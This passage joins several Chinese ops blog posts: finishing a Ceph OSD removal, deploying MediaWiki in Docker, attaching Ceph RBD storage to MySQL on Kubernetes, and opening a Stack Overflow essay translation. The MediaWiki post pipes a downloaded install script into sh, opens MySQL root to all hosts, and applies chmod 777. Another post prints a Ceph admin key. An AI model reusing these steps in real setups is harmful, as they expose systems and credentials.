(0.320%) (OBJECT_MISPLACED) 2018-07-05 14:23:51.825725 mon.dell1 [WRN] Health check update: 1777/606270 objects misplaced (0.293%) (OBJECT_MISPLACED) 2018-07-05 14:23:56.826087 mon.dell1 [WRN] Health check update: 1612/606270 objects misplaced (0.266%) (OBJECT_MISPLACED) 2018-07-05 14:24:01.826439 mon.dell1 [WRN] Health check update: 1444/606270 objects misplaced (0.238%) (OBJECT_MISPLACED) 2018-07-05 14:24:06.826755 mon.dell1 [WRN] Health check update: 1315/606270 objects misplaced (0.217%) (OBJECT_MISPLACED) 2018-07-05 14:24:11.828343 mon.dell1 [WRN] Health check update: 1264/606270 objects misplaced (0.208%) (OBJECT_MISPLACED) 2018-07-05 14:24:16.828638 mon.dell1 [WRN] Health check update: 1214/606270 objects misplaced (0.200%) (OBJECT_MISPLACED) 2018-07-05 14:24:21.886644 mon.dell1 [WRN] Health check update: 1161/606270 objects misplaced (0.191%) (OBJECT_MISPLACED) 2018-07-05 14:24:26.887027 mon.dell1 [WRN] Health check update: 1110/606270 objects misplaced (0.183%) (OBJECT_MISPLACED) 2018-07-05 14:24:32.287725 mon.dell1 [WRN] Health check update: 1069/606270 objects misplaced (0.176%) (OBJECT_MISPLACED) 2018-07-05 14:24:39.839578 mon.dell1 [WRN] Health check update: 960/606270 objects misplaced (0.158%) (OBJECT_MISPLACED) 2018-07-05 14:24:45.851276 mon.dell1 [WRN] Health check update: 905/606272 objects misplaced (0.149%) (OBJECT_MISPLACED) 2018-07-05 14:24:51.911053 mon.dell1 [WRN] Health check update: 849/606272 objects misplaced (0.140%) (OBJECT_MISPLACED) 2018-07-05 14:24:57.960803 mon.dell1 [WRN] Health check update: 784/606272 objects misplaced (0.129%) (OBJECT_MISPLACED) 2018-07-05 14:25:05.887641 mon.dell1 [WRN] Health check update: 688/606272 objects misplaced (0.113%) (OBJECT_MISPLACED) 2018-07-05 14:25:11.945922 mon.dell1 [WRN] Health check update: 631/606272 objects misplaced (0.104%) (OBJECT_MISPLACED) 2018-07-05 14:25:16.946267 mon.dell1 [WRN] Health check update: 570/606272 objects misplaced (0.094%) (OBJECT_MISPLACED) 2018-07-05 14:25:21.993994 mon.dell1 [WRN] Health check update: 528/606272 objects misplaced (0.087%) (OBJECT_MISPLACED) 2018-07-05 14:25:26.994417 mon.dell1 [WRN] Health check update: 468/606272 objects misplaced (0.077%) (OBJECT_MISPLACED) 2018-07-05 14:25:31.994789 mon.dell1 [WRN] Health check update: 411/606272 objects misplaced (0.068%) (OBJECT_MISPLACED) 2018-07-05 14:25:36.995192 mon.dell1 [WRN] Health check update: 353/606272 objects misplaced (0.058%) (OBJECT_MISPLACED) 2018-07-05 14:25:42.009567 mon.dell1 [WRN] Health check update: 293/606272 objects misplaced (0.048%) (OBJECT_MISPLACED) 2018-07-05 14:25:47.009879 mon.dell1 [WRN] Health check update: 241/606272 objects misplaced (0.040%) (OBJECT_MISPLACED) 2018-07-05 14:25:52.010822 mon.dell1 [WRN] Health check update: 187/606272 objects misplaced (0.031%) (OBJECT_MISPLACED) 2018-07-05 14:25:57.011182 mon.dell1 [WRN] Health check update: 133/606272 objects misplaced (0.022%) (OBJECT_MISPLACED) 2018-07-05 14:26:02.035637 mon.dell1 [WRN] Health check update: 78/606272 objects misplaced (0.013%) (OBJECT_MISPLACED) 2018-07-05 14:26:07.035965 mon.dell1 [WRN] Health check update: 22/606272 objects misplaced (0.004%) (OBJECT_MISPLACED) 2018-07-05 14:26:12.011546 mon.dell1 [INF] Health check cleared: OBJECT_MISPLACED (was: 22/606272 objects misplaced (0.004%)) 2.2 PG 修复 但不是数据迁移结束后就万事大吉了,可以通过下面这个命令看到,数据迁移后,有五个 pg 状态不正常,需要修复。 $ ceph health detail HEALTH_ERR 6 scrub errors; Possible data damage: 5 pgs inconsistent OSD_SCRUB_ERRORS 6 scrub errors PG_DAMAGED Possible data damage: 5 pgs inconsistent pg 13.cd is active+clean+inconsistent, acting [20,35] pg 13.244 is active+clean+inconsistent, acting [35,22] pg 13.270 is active+clean+inconsistent, acting [35,14] pg 13.308 is active+clean+inconsistent, acting [35,17] pg 13.34f is active+clean+inconsistent, acting [11,35] 执行 repair 命令来修复,如果还是不成功,可以使用 scrub 来进行数据清理。 $ ceph pg repair 13.cd $ ceph pg scrub 13.cd 2.3 关闭 OSD 进程 数据迁移至此算是完成了,但 osd 进程还是跑着的。 0 hdd 5.52620 osd.0 up 0 1.00000 接下来需要登录到 OSD 服务器上关闭掉该进程。 $ ssh osd8 $ sudo systemctl stop ceph-osd@0 现在 osd 进程的状态已经已经是 down 了。 0 hdd 5.52620 osd.0 down 0 1.00000 2.4 删除 OSD 最后执行 purge 命令,将该 osd 从 CRUSH map 中彻底删掉,至此,单个 OSD 的删除终于完成了。 $ ceph osd purge 0 --yes-i-really-mean-it purged osd.0 对了,最后,如果 /etc/ceph/ceph.conf 中由对应的该 osd 的信息,记得要一起删除。 3. 参考文档 Add or remove OSDs ceph集群报错:HEALTH_ERR 1 pgs inconsistent; 1 scrub errors
MediaWiki 0 简介 MediaWiki 是 Wikipedia 使用的网站解决方案的开源版,以个人观点来看,Wiki 在这个时代显得不够时尚,且不支持 MarkDown 等新兴的标记语言,另外页面的组织方式采用了自己的一套管理语言,上手需要一定的学习成本。不过经典总归是经典。 MediaWiki 也提供了官方的 Docker image,这就节省了不少安装环境的工作量,接下来就来看看私有 MediaWiki 站点是如何搭建起来的吧。 1 使用 docker 安装 MediaWiki 第一部分中的命令除非特殊说明,都需要 root 权限。 1.1 安装 Docker 第一部自然是要先安装 docker,我们使用官方的 docker 安装脚本来规避不同操作系统安装命令不同的问题,命令运行结束后,docker 就安装好了,如果你的环境中还没有 wget 命令,CentOS 和 RedHat 用 yum install -y wget,Debian 和 Ubuntu 系统用 apt install -y wget 安装。 # wget -qO- https://get.docker.com/ | sh 接下来需修改 docker 的下载源: # cat /etc/docker/daemon.json { "registry-mirrors": ["https://registry.docker-cn.com", "http://hub.c.163.com"] } # systemctl restart docker.service 1.2 下载所需的 docker images MediaWiki 需要 MySQL,且 MediaWiki 镜像中不提供 MySQL,所以 MySQL 镜像也须要下载。 # docker pull wikimedia/mediawiki:1.30.0-wmf4 # docker pull mysql/mysql-server:5.7 1.3 启动 MediaWiki 和 MySQL,并关联 MediaWiki 需要依赖于 MySQL,所以要先启动 MySQL,再启动 MediaWiki,不然启动会失败。而且需要开启 MySQL 的远程连接权限。 # docker run -d --name mediawiki-mysql -e MYSQL_ROOT_PASSWORD=<mysql-root-password> mysql/mysql-server:5.7 # docker exec -it mediawiki-mysql /bin/bash bash-4.2# mysql -uroot -p<mysql-root-password> ...... mysql> GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '<mysql-root-password>' WITH GRANT OPTION; mysql> FLUSH PRIVILEGES; 然后启动 MediaWiki。 # docker run --name facethink-mediawiki --link mediawiki-mysql:mysql -p 80:80 -e MEDIAWIKI_DB_PASSWORD=<mysql-root-password> -d wikimedia/mediawiki:1.30.0-wmf4 需要注意的是,启动 MediaWiki 时,需要使用 --link 参数来关联之前启动的 MySQL。 另外 -p 将 MediaWiki docker 中的 80 端口和 docker 宿主机上的 80 端口绑定在了一起。在浏览器中访问 docker 宿主机的 IP 就可以访问刚刚建好的 MediaWiki 网站了。不过要保证宿主机上 80 端口没有被其他程序占用,不然 docker run 命令无法执行成功。 下面就是刚刚建好的 wiki 站点页面,过程并不复杂,如果遇到问题,可以流言讨论: MediaWiki main page 2. MediaWiki 配置 2.1 MediaWiki 的默认管理员 Wiki 是有了,不过这么素的界面,当然是要做些配置,那么就需要管理员权限了,可在安装过程中,我们并不知道这些信息。不过我们可以从 MySQL 中找到。 # docker exec -it mediawiki-mysql -- mysql -uroot -p<mysql-root-password> ...... mysql> use mediawiki; mysql> select * from user; mysql> select * from user; +---------+-----------+----------------+-------------------------------------------------------------------------------------------------------------------------------------------+------------------+-------------------+---------------------+----------------+----------------------------------+--------------------------+----------------------------------+--------------------------+-------------------+----------------+-----------------------+ | user_id | user_name | user_real_name | user_password | user_newpassword | user_newpass_time | user_email | user_touched | user_token | user_email_authenticated | user_email_token | user_email_token_expires | user_registration | user_editcount | user_password_expires | +---------+-----------+----------------+-------------------------------------------------------------------------------------------------------------------------------------------+------------------+-------------------+---------------------+----------------+----------------------------------+--------------------------+----------------------------------+--------------------------+-------------------+----------------+-----------------------+ | 1 | Admin | | :pbkdf2:sha512:30000:64:CyuznKx44JuAClGG7avxow==:V9MLp3r/obJIjv+BR2Bs0eCvyWkyDK0eveqEE+9HiUgxvMjzu26kGBz+BcZSmlRssLswzq1j3a+PVuh6AFEaxQ== | | NULL | NULL | 20180622063649 | 490898f83d4ad9d1ec1c0276a740209b | NULL | d3bcbd107e31220c891334c8e1ba0440 | 20180629063644 | 20180622050411 | 0 | NULL +---------+-----------+----------------+-------------------------------------------------------------------------------------------------------------------------------------------+------------------+-------------------+---------------------+----------------+----------------------------------+--------------------------+----------------------------------+--------------------------+-------------------+----------------+-----------------------+ 看以看到默认账户是 Admin,但密码是加密的,好在 root 用户是有权限修改这个密码的, mysql> UPDATE user SET user_password = MD5( CONCAT( user_id, '-', MD5( 'NEWPASS' ) ) ) WHERE user_id =1; 至此,我们终于可以用管理员的权限登陆了。 login page 2.2 使用 php 变量配置 MediaWiki 站点地址 假设已经为站点申请了域名:wiki.example.com,如何让 wiki 自己能够识别这个域名呢? 这需要登陆到 MediaWiki 的 docker 中去,修改配置文件。MediaWiki 是 php 语言编写的,所以配置文件以 .php 后缀结尾。 $ sudo docker exec -it facethink-mediawiki /bin/bash root@1a0f3692a08d:/# vi /var/www/html/LocalSettings.php ... $wgServer = "http://wiki.example.com"; ... php 可以动态读取配置文件,所以无需重启即可生效。 2.3 修改 Logo 默认 logo 是金色的葵花,那么如何更换成自己心仪的图标呢? 首先需要开启 wiki 的文件上传功能: $ sudo docker exec -it facethink-mediawiki /bin/bash root@1a0f3692a08d:/# vi /var/www/html/LocalSettings.php ... $wgEnableUploads = true; ... 然后给 /var/www/html/images 目录添加全部用户开启所有权限。 $ sudo docker exec -it facethink-mediawiki /bin/bash root@1a0f3692a08d:/# chmod 777 /var/www/html/images 然后在 Upload File 页面上传文件: upload file page 找到文件所在目录: # ll /var/www/html/images/thumb/6/64/example.png/120px-example.png 修改 php 配置文件: $ sudo docker exec -it facethink-mediawiki /bin/bash root@1a0f3692a08d:/# vi /var/www/html/LocalSettings.php ... $wgLogo = $wgScriptPath . "images/thumb/6/64/example.png/120px-example.png"; ... 好了,刷新一下页面,看看更换 logo 之后效果如何吧。 2.4 邮箱配置 MediaWiki 的邮箱配置很坑,调试不太方便,而且默认配置很容易被判定成垃圾邮件, 或者无效,被拒掉,需要调整发件人的地址来规避。这里用的是 Elastic Email 的邮件服务器系统,这里大家需要自己注册。 配置部分还是需要修改 /var/www/html/LocalSettings.php # cat /var/www/html/LocalSettings.php ... $wgServerName = "example.com"; $wgPasswordSender = ""; $wgSMTP = array( 'host' => 'smtp.elasticemail.com', 'port' => 2525, 'IDHost' => 'wiki.example.com', 'username' => <user-id>, 'password' => <password>, 'auth' => true ); ... 同时需要安装 PHP 与邮件发送相关的插件,这里还需要说明一点,MediaWiki 的 docker 虽然能运行 PHP 代码,但实际上并没有安装 PHP,原因是 Apache 能够解析运行 PHP,LAMP 果然是集成度很高。而安装 pear 是要依赖于 PHP 环境的,所以必须要安装 PHP。 # apt install php, php-pear # pear install mail, net_smtp 2.5 限制用户权限 如果不想开放 Wiki 的公开注册,并且在未登陆时,限制可见的页面的话,还是需要通过对 LocalSettings.php 的定制实现。 # cat /var/www/html/LocalSettings.php ... # Prevent new user registrations $wgWhitelistAccount = array("user" => 0, "sysop" => 1, "developer" => 1); $wgGroupPermissions['*']['createaccount'] = false; $wgGroupPermissions['*']['read'] = true; $wgGroupPermissions['*']['edit'] = false; $wgWhitelistRead = array("Main Page", "Special:Userlogin", "Wikipedia:Help"); ... 2.6 添加用户 现在已经关闭了用户注册,那用户只能手动添加了。MediaWiki 也提供添加用户的脚本: # apt install php-mbstring, php-mysql # php /usr/src/mediawiki/maintenance/createAndPromote.php --conf=/var/www/html/LocalSettings.php --force <user-id> <password> 3. 参考文档 MySQL Docker MediaWiki docker file MediaWiki default admin user and password MediaWiki configuration settings Trouble uploading after installation
MySQL + Kubernetes 1. 简介 在系列文章的第三篇中,讲到了如何使用 PV 和 PVC 挂载 RBD 上建立好的块存储镜像,但这还是不足以满足 cloud native 环境下的需求,试想如果部署一个应用,需要申请十个 RBD images,PV 和 PVC 的方式下,就需要先手动在 ceph 集群上部署十个 image,这在实际操作时,是完全不可接受的,就算用 Webhook 机制调用脚本自动执行,也会存在一些问题,比如何时释放 RBD image,而且这样也增加了系统的复杂度,更易出错,所以最好是有 Kubernetes 的原生的解决方案。而 Kubernetes 确实提供这样的解决方案,就是本文要谈到的 StorageClass。 我对 StorageClass 的理解是: 对系统提供的存储能力进行抽象,并使用客户端与存储系统进行交互,来达到动态获取存储能力的目的。也就是说,客户端是要和 StorageClass 配套使用的,用哪种类型的存储,就需要启动对应的客户端,RBD 的客户端叫做 rbd-provisioner。 2. 配置 StorageClass 首先需要获取 ceph 的密钥: $ ceph auth get-key client.admin | base64 QVFCTnFzMWFuMDNoRGhBQUVrMjlXNlZzYnN6Yk13bWZvVmt0bkE9PQ== 然后创建名为 ceph-secret 的 secret,后面的 StorageClass 会用到。 $ cat ceph-secret.yaml apiVersion: v1 kind: Secret metadata: name: ceph-secret type: "kubernetes.io/rbd" data: key: QVFCTnFzMWFuMDNoRGhBQUVrMjlXNlZzYnN6Yk13bWZvVmt0bkE9PQ== 接下来看一下 StorageClass 配置文件的实例: $ cat storage-class.yaml kind: StorageClass apiVersion: storage.k8s.io/v1 metadata: name: rbd provisioner: ceph.com/rbd parameters: monitors: 192.168.250.91:6789 adminId: admin adminSecretName: ceph-secret adminSecretNamespace: default pool: rbd userId: admin userSecretName: ceph-secret fsType: ext4 imageFormat: "2" imageFeatures: "layering" 大部分的内容和 PV 里的配置是一样的,那么就挑几个之前没有介绍过的参数说一下: provisioner: 就是之前所说的客户端,官方文档中使用的 provisioner 是默认的 kubernetes.io/rbd,注意要改成 ceph.com/rbd,kubernetes.io/rbd 是无法正常使用的,原因是 kubernetes.io/rbd 会在 kube-controller-manager 镜像中查找 RBD 可执行文件,但默认的 kube-controller-manager 镜像是没有的,需要自己来定制镜像,具体细节可参考该链接:Error creating rbd image: executable file not found in $PATH。改为 "ceph.com/rbd" 后,使用的是外部的 RBD 可执行文件,具体的做法会在下一节中介绍。 adminId | userId:连接 ceph 的权限,admin 已存在,如果有需要创建其他用户,可以在 Ceph 集群中创建,并赋予对应的权限,简单使用的话,admin 也足够了。 adminSecretName:Ceph admin 所使用的密钥,复用之前创建的即可。 adminSecret。namespace:密钥所在的命名空间,默认是 default,如果修改为其他的话,需要修改 ceph-secret.yaml,增加 namespace字段:namespace-name。 创建 StorageClass: $ kubectl create -f storage-class.yaml storageclass "rbd" created $ kubectl get storageclass NAME TYPE rbd ceph.io/rbd 3. 配置 rbd-provisioner 首先要下载 kubernetes-incubator git 库,RBD 的内容存储在 external-storage/ceph/rbd/deploy/ 目录下。 $ git clone https://github.com/kubernetes-incubator/external-storage.git $ tree external-storage/ceph/rbd/deploy/ ├── README.md ├── non-rbac │ └── deployment.yaml └── rbac ├── clusterrole.yaml ├── clusterrolebinding.yaml ├── deployment.yaml └── serviceaccount.yaml 分为 RBAC 和 无 RBAC 两种部署方式,RBAC 就是基于角色的权限控制,kubeadm 搭建的 Kubernetes 集群默认开启了 RBAC,所以本文选用 RBAC 方式。external-storage 中提供的方式是部署在 default namespace 中的,如果要部署在其他 namespace 中,需要做对应的修改。 接下来就把 RBD provisioner 启动起来吧: $ kubectl create -f external-storage/ceph/rbd/deploy/rbac/ clusterrole "rbd-provisioner" created clusterrolebinding "rbd-provisioner" created deployment "rbd-provisioner" created serviceaccount "rbd-provisioner" create $ kubectl get pod --selector app=rbd-provisioner NAME READY STATUS RESTARTS AGE rbd-provisioner-6f4f7fcf5f-4gdmj 1/1 Running 0 6m 4. 挂载 StorageClass 一切就绪,接下来就试试能否动态的获取 RBD 存储空间吧。 先创建 PVC,看看 PVC 能否处于 bound 状态。 $ cat dynamic-volume-claim.yaml apiVersion: v1 kind: PersistentVolumeClaim metadata: name: mysql-dynamic-pvc spec: accessModes: - ReadWriteOnce storageClassName: rbd resources: requests: storage: 1Gi $ kubectl create -f dynamic-volume-claim.yaml NAME STATUS VOLUME CAPACITY ACCESS MODES STORAGECLASS AGE mysql-dynamic-pvc Bound pvc-65ddafb2-6f9d-11e8-b243-d09466144cbf 1Gi RWO rbd 5d 接下来再将该 PVC 挂载到 MySQL 实例上。 apiVersion: apps/v1 # for versions before 1.9.0 use apps/v1beta2 kind: Deployment metadata: name: mysql spec: selector: matchLabels: app: mysql strategy: type: Recreate template: metadata: labels: app: mysql spec: terminationGracePeriodSeconds: 10 containers: - name: mysql image: mysql:5.7 env: - name: MYSQL_ROOT_PASSWORD valueFrom: secretKeyRef: name: mysql-secret key: ROOT_PASSWORD ports: - containerPort: 3306 name: mysql volumeMounts: - name: mysql-persistent-storage mountPath: /var/lib/mysql subPath: mysql readOnly: false volumes: - name: mysql-persistent-storage persistentVolumeClaim: claimName: mysql-dynamic-pvc 至此完成 RBD 的动态挂载,下一篇文章来谈一谈如何使用 StatefulSet 部署主从同步的 MySQL 集群。 5. 参考资料 初试 Kubernetes 动态卷配置使用 RBD 作为 StorageClass Kubernetes doc: Storageclass Run a Replicated Stateful Application Error creating rbd image: executable file not found in $PATH
MySQL in Kubernetes MySQL 中的数据是关键信息,是有状态的,不可能随着 MySQL pod 的销毁而被销毁,所以数据必须要外接到一个可靠的存储系统中,目前已经有了 Ceph 系统,所以这里就只考虑如何将 Ceph 作为外部存储的情况,毕竟没有条件去尝试其他存储方案。 本文从最简单的 k8s 连接 ceph 方式开始, 并过渡到 PV(Persistent Volume) 和 PVC(Persistent Volume Claim)方式,本系列文章后面还会介绍使用 StorageClass 的动态连接方式。 1. 概念介绍和环境信息 1.1 PV(Persistent Volume)简介: PV 是集群提供的一种存储资源,是实际可用的磁盘。和挂 PV 的 Pod 有着独立的生命周期,Pod 销毁后,PV 可以继续存在,以此来实现持久化存储。 1.2 PVC(Persistent Volume Claim)简介: PVC 是用户使用存储资源的声明,和 Pod 这一概念类似,Pod 消耗的是 Node 上的计算资源,PVC 消耗的是 PV 资源。 1.3 环境信息 本文在 Ubuntu 物理机环境下,使用 kubeadm 部署 Kubernetes,连接已经部署好的 Ceph 集群,后文会对部署过程做详细说明。 操作系统:Ubuntu 16.04 Ceph:Luminous 12.2 Kubernetes:v1.10.2 Docker:v1.13.1 2. 使用 keyring 文件连接 RBD 首先让我们用最基础的方式连接 Ceph,以下就是 yaml 文件,简要介绍一下关键字段: monitors: 连接的 Ceph monitor 地址,注意要更改成环境中对应的 Ceph monitor 地址。 keyring:Ceph 集群认证所需的密钥,这里以本地文件的形式挂载进去。这个文件的内容就是 ceph 集群里 /etc/ceph/ceph.client.admin.keyring 文件的内容。 imageformat:建议使用 2,1 是更老的格式。 imagefeatures:磁盘文件的特性,Ubuntu 16.04 和 CentOS7.4 的内核版本目前支持的特性较少,建议只填写 layering,如果要使用其他特性,需升级内核版本。 pool:Ceph 中的 pool。 image:Ceph RBD 创建的镜像名称。 $ cat mysql-deployment.yaml apiVersion: apps/v1 # for versions before 1.9.0 use apps/v1beta2 kind: Deployment metadata: name: mysql spec: selector: matchLabels: app: mysql strategy: type: Recreate template: metadata: labels: app: mysql spec: terminationGracePeriodSeconds: 10 containers: - name: mysql image: mysql:5.7 env: - name: MYSQL_ROOT_PASSWORD valueFrom: secretKeyRef: name: mysql-secret key: ROOT_PASSWORD ports: - containerPort: 3306 name: mysql volumeMounts: - name: rbdpd mountPath: /var/lib/mysql volumes: - name: rbdpd rbd: monitors: - '192.168.56.106:6789' pool: rbd image: foo fsType: ext4 readOnly: false user: admin imageformat: "2" imagefeatures: "layering" keyring: /etc/ceph/keyring 在执行该 yaml 文件之前,我们需要先在 RBD 中创建名为 foo 的镜像,不然 pod 无法创建成功。 # rbd create foo --size 2048M # rbd list foo # rbd feature disable foo exclusive-lock, object-map, fast-diff, deep-flatten 此时再执行 $ kubectl create -f mysql-deployment.yaml 就可以了。 3. 使用 secret 连接 RBD 直接挂载密钥文件既不正规,也不安全,我们可以使用 Kubernetes 的 secret 来加密密钥文件。 先获取加密后的密钥字符串: $ ceph auth get-key client.admin | base64 <keyring string> 将 <keyring string> 填写进 ceph-secret.yaml 文件中的 key 字段: $ cat ceph-secret.yaml apiVersion: v1 kind: Secret metadata: name: ceph-secret type: "kubernetes.io/rbd" data: key: <keyring string> 创建该 secret: kubectl create -f ceph-secret.yaml 最后修改 mysql-deployment.yaml 对应字段: $ cat mysql-deployment.yaml apiVersion: apps/v1 # for versions before 1.9.0 use apps/v1beta2 kind: Deployment metadata: name: mysql spec: selector: matchLabels: app: mysql strategy: type: Recreate template: metadata: labels: app: mysql spec: terminationGracePeriodSeconds: 10 containers: - name: mysql image: mysql:5.7 env: - name: MYSQL_ROOT_PASSWORD valueFrom: secretKeyRef: name: mysql-secret key: ROOT_PASSWORD ports: - containerPort: 3306 name: mysql volumeMounts: - name: rbdpd mountPath: /var/lib/mysql volumes: - name: rbdpd rbd: monitors: - '192.168.56.106:6789' pool: rbd image: foo fsType: ext4 readOnly: false user: admin imageformat: "2" imagefeatures: "layering" secretRef: name: ceph-secret $ kubectl apply -f mysql-deploy.yaml 4. 使用 PV 和 PVC 连接 RBD 好,最后就是使用 PVC 和 PV 挂载 RBD 镜像了。 先是 PV 文件: $ cat volume.yaml apiVersion: v1 kind: PersistentVolume metadata: name: mysql-pv spec: capacity: storage: 1Gi accessModes: - ReadWriteOnce claimRef: name: mysql-pvc namespace: default persistentVolumeReclaimPolicy: Recycle rbd: monitors: - 192.168.56.106:6789 pool: rbd image: foo user: admin fsType: ext4 readOnly: false secretRef: name: ceph-secret 然后是 PVC: $ cat volume-claim.yaml apiVersion: v1 kind: PersistentVolumeClaim metadata: name: mysql-pvc spec: accessModes: - ReadWriteOnce resources: requests: storage: 1Gi 最后挂载在 MySQL 上 $ cat mysql-deployment.yaml apiVersion: apps/v1 # for versions before 1.9.0 use apps/v1beta2 kind: Deployment metadata: name: mysql spec: selector: matchLabels: app: mysql strategy: type: Recreate template: metadata: labels: app: mysql spec: terminationGracePeriodSeconds: 10 containers: - name: mysql image: mysql:5.7 env: - name: MYSQL_ROOT_PASSWORD valueFrom: secretKeyRef: name: mysql-secret key: ROOT_PASSWORD ports: - containerPort: 3306 name: mysql volumeMounts: - name: mysql-persistent-storage mountPath: /var/lib/mysql volumes: - name: mysql-persistent-storage persistentVolumeClaim: claimName: mysql-pvc 到这里 MySQL 就成功的使用 ceph RBD 作为持久化存储方案,部署在了 k8s 环境里,不过这还是很初级的方案,毕竟在挂载之前还需要手动在 RBD 中创建镜像,太不 cloud native 了,接下来的文章将演示如何动态的使用 RBD 镜像。 5. 参考文档 初试 Kubernetes 集群使用 Ceph RBD 块存储 Kubernetes concept: Volume Kubernetes concept: Persistent Volumes
MySQL MySQL 在 Kubernetes 环境中运行这件事情本身并不困难,最简单的方式就是找到 MySQL 的 Docker image,跑起来就行了,但是要做到生产环境可用,还是有几个问题要解决,所以本文不对整个流程做详细的描述,而是把重点放在几个难点上。 1. Kubernetes 如何与 Ceph 联动 1.1 使用到的 Kubernetes 概念 Persistent Volumes Persistent Volume Claims Storage Classes Kubernetes 集群存储 PV 支持 Static 静态配置以及 Dynamic 动态配置,动态卷配置 (Dynamic provisioning) 可以根据需要动态的创建存储卷。我们知道,之前的静态配置方式,集群管理员必须手动调用云/存储服务提供商的接口来配置新的固定大小的 Image 存储卷,然后创建 PV 对象以在 Kubernetes 中请求分配使用它们。通过动态卷配置,能自动化完成以上两步骤,它无须集群管理员预先配置存储资源,而是使用 StorageClass 对象指定的供应商来动态配置存储资源。 1.2 Example: cat rbd-storage-class.yaml kind: StorageClass apiVersion: storage.k8s.io/v1 metadata: name: rbd provisioner: kubernetes.io/rbd parameters: monitors: 10.222.78.12:6789 adminId: admin adminSecretName: ceph-secret-admin adminSecretNamespace: default pool: rbd userId: admin userSecretName: ceph-secret-admin cat rbd-dyn-pv-claim.yaml apiVersion: v1 kind: PersistentVolumeClaim metadata: name: ceph-rbd-dyn-pv-claim spec: accessModes: - ReadWriteOnce storageClassName: rbd resources: requests: storage: 1Gi rbd-dyn-pvc-pod1.yaml apiVersion: v1 kind: Pod metadata: labels: test: rbd-dyn-pvc-pod name: ceph-rbd-dyn-pv-pod1 spec: containers: - name: ceph-rbd-dyn-pv-busybox1 image: busybox command: ["sleep", "60000"] volumeMounts: - name: ceph-dyn-rbd-vol1 mountPath: /mnt/ceph-dyn-rbd-pvc/busybox readOnly: false volumes: - name: ceph-dyn-rbd-vol1 persistentVolumeClaim: claimName: ceph-rbd-dyn-pv-claim 2. 如何实现 MySQL 主从 2.1 使用到的 Kubernetes controller StatefulSets Manages the deployment and scaling of a set of Pods , and provides guarantees about the ordering and uniqueness of these Pods. Init Containers 2.2 解决问题的思路 使用多个 StatefulSet 运行多个 MySQL Pod ,第一个是 Master,其他是 Slave: 主从 MySQL 的配置文件不同,需要在启动阶段做出区分。 新加一个文件同步 container 来实现启动阶段 MySQL 主从文件同步。 2.3 实例 example 3. 如何让外网可以访问 MySQL 服务 目前 Kubernetes 将服务暴露到外网的方式主要有三种: NodePort:目前使用的方式,也是最简单的方式。 Node: 10.0.0.1, 10.0.0.2, 10.0.0.3 10.0.0.:30001 <-> service: mysql-1 10.0.0.:30002 <-> service: mysql-2 NodePort 的问题在于,service 如果出现问题,重新启动 port 会有变化;Node IP 变化的话,暴露服务的地址也会变;一个集群提供的端口资源限制为数千个。 Ingress:支持如下访问方式http://testing.example.com/mysql-1 <-> service: mysql-1http://testing.example.com/mysql-2 <-> service: mysql-2 但问题在于 MySQL client 只支持域名,不支持 URL。 LoadBalance 4. 该如何部署 Kubernetes 4.1 kubeadm kubeadm 简介 A Stronger Foundation for Creating and Managing Kubernetes Clusters What is the scope for kubeadm? We want kubeadm to be a common set of building blocks for all Kubernetes deployments; the piece that provides secure and recommended ways to bootstrap Kubernetes. Since there is no one true way to setup Kubernetes, kubeadm will support more than one method for each phase. We want to identify the phases every deployment of Kubernetes has in common and make configurable and easy-to-use kubeadm commands for those phases. If your organization, for example, requires that you distribute the certificates in the cluster manually or in a custom way, skip using kubeadm just for that phase. We aim to keep kubeadm usable for all other phases in that case. We want you to be able to pick which things you want kubeadm to do and let you do the rest yourself. 如何使用 kubeadm 搭建一个高可用的 Kubernetes 集群 Creating HA clusters with kubeadm multi masters masters' load balance HA ETCD cluster DNS HA Kubernetes master HA best practice Set up High-Availability Kubernetes Masters 4.2 自动化部署 Kubernetes kops Ansible keel buddy
stack overflow 今年 stackoverflow.com 已经上线十年,Stack Overflow 可以说是最好的软件类问答网站了,给软件开发人员工作和学习提供了非常大的便利,以至于像我这样的小白,离了 Stack Overflow 简直都不会写程序了。最近 Stack Overflow 的创始人之一,Joel Spolsky 更新了一系列 Stack Overflow 相关的文章,其中一篇讲为何给提问设置复杂的规则,读后受益匪浅,所以搬运过来,与大家一同分享。以下是原文链接:strange and maddening rules 提问前必要的准备工作 小黄鸭 程序员中流行着这样一种做法:当遇到难题时,掏出一只橡皮鸭子,向小鸭子逐行解释代码如何工作,应得到的结果是什么,实际上的输出是什么,等等。这方法看上去有点傻,不过试过的人都说有效。另外一种解决问题的技巧是分而治之。为了解决一个 bug,看成千上万行代码是不可行的,但是可以采用二分法,快速定位问题是在上半部分,还是在下半部分,这样重复五六次,就可以找到问题所在了。 了解了这些技巧,再看 Jon Skeet 的《问出好问题》,会发现很多有意思的东西。在文中,Skeet 向求助者抛出的一个问题是:有无仔细阅读自己的问题,问题描述是否通顺,是否包含足够的信息?这本质上就是橡皮鸭测试。文中的另外一个问题是:如果包含了代码,是否在保证可用 的前提下尝试精简代码?重点在精简上——这本质上就是看有没有尝试过分而治之。 Skeet 的文章在理想情况下,可以帮助人们在提问前,按照有经验程序员的思路,自己尝试分析问题。但不幸的是,很多人没读过 Skeet 的文章;也可能是看了,却不照着做;更可能的是,求助者正忙着解决紧急的 bug,听说 Stack Overflow 上可以解答,所以他们顾不上某个呆子写的冗长求助礼仪了。 Stack Overflow 欢迎新人 New York skyline 是否允许编程新手问初级的问题,是 Stack Overflow 上很常见的争论。Jeff 和我讨论 Stack Overflow 的最初设计时,我提到了 comp.lang.c,在 80 年代,comp.lang.c 是很火爆的 C 语言社区。C 是一门简单而且功能有限的编程语言,十万行内绝对搞的定一个 C 编译器。所以,C 语言的社区里,很快就会没有啥新东西可说了。 在 90 年代,C 是大学毕业生们都会学习的语言,而且事实上,毕业生们问的也都是非常基本的问题,这些问题大都抛在了 comp.lang.c 上。comp.lang.c 上的老鸟们实在是不胜其烦,厌烦于毕业生们每年九月份都要来问:为什么不能从函数中返回本地数组之类的让人无语的问题,真的是每年九月份都要接受一波洗礼啊。所以老鸟们发明了常见问题(FAQ)的概念,老鸟通过常见问题(FAQ)想表达的是:“再也别问之前问过的问题了。”更进一步的意思是,他们只想看到那些如此匪夷所思,如此难懂的问题,对于百分之九十九的 C 程序员都没有任何意义。comp.lang.c 慢慢失去了活力,因为它只迎合了在那里浸淫了很久的少数老手们 。 Jeff 和我讨论了一下这个事,我们应该怎么看待新手的问题?我们决定,对新手也该敞开大门,Stack Overflow 